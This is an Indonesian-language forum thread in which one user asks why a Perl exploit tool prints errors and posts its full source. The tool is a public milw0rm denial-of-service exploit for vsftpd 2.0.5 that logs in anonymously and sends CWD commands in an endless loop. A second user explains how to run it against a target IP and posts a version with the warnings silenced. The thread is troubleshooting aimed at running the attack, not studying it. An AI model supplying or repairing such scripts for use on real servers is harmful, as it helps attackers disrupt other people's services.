[XoX-001]

misi kak numpang nanya .
tdi kan sy nyoba tools exploit , nah terus keluar error kaya gini:

Code:

./vsftp.pl
Name "main::perl" used only once: possible typo at ./5814.pl line 23.
Use of uninitialized value $ARGV[0] in string at ./5814.pl line 23.
Use of uninitialized value $ARGV[0] in concatenation (.) or string at ./5814.pl line 23.
Use of uninitialized value $perl in concatenation (.) or string at ./5814.pl line 23.
Cannot connect to Host
Usage:  script_name.pl target_ip

terus ini Script toolnya :

Code:

#!/usr/bin/perl -w


#############################################################################################################
#        vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,            #
#        Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.            #
#                                                        #
#        Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration#
#        option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.            #
#                                                        #
#        I tried to modify local exploit found at securityfocus such that we can remotely exloit     #
#                                                        #
#         Author shall not bear any responsibility                            #
#        Author:    Praveen Darshanam                                    #
#        Email:    praveen[underscore]recker[at]sify.com                            #
#        Date:    07th June, 2008                                        #
#                                                        #
#                                                        #
#############################################################################################################


use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

$ftp -> cwd();
}

$ftp->quit;

# milw0rm.com [2008-06-14]

kakak2 disini ada yang bisa kasi tw d mana letak kesalahannya gk ?
soalnya saya belom bisa pemrograman perl kak

maaf kalo salah kamar , terimakasih

[iKONspirasi]

kayaknya sih klo dimasukkan ip yg menggunakan ftp vsftp sih ga masalah bro, soalnya disitu ga ada parameter yg diinisialisasi

jadi itu bukan error kok, atau kalau masih ingin menghilangkan errornya tambahin line "no warnings 'uninitialized';"

jadi seperti gini:

Code:

{
no warnings 'uninitialized';
use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";
}

while(1)
{
#this loop runs infinitely
  
$ftp -> cwd();

}

$ftp->quit;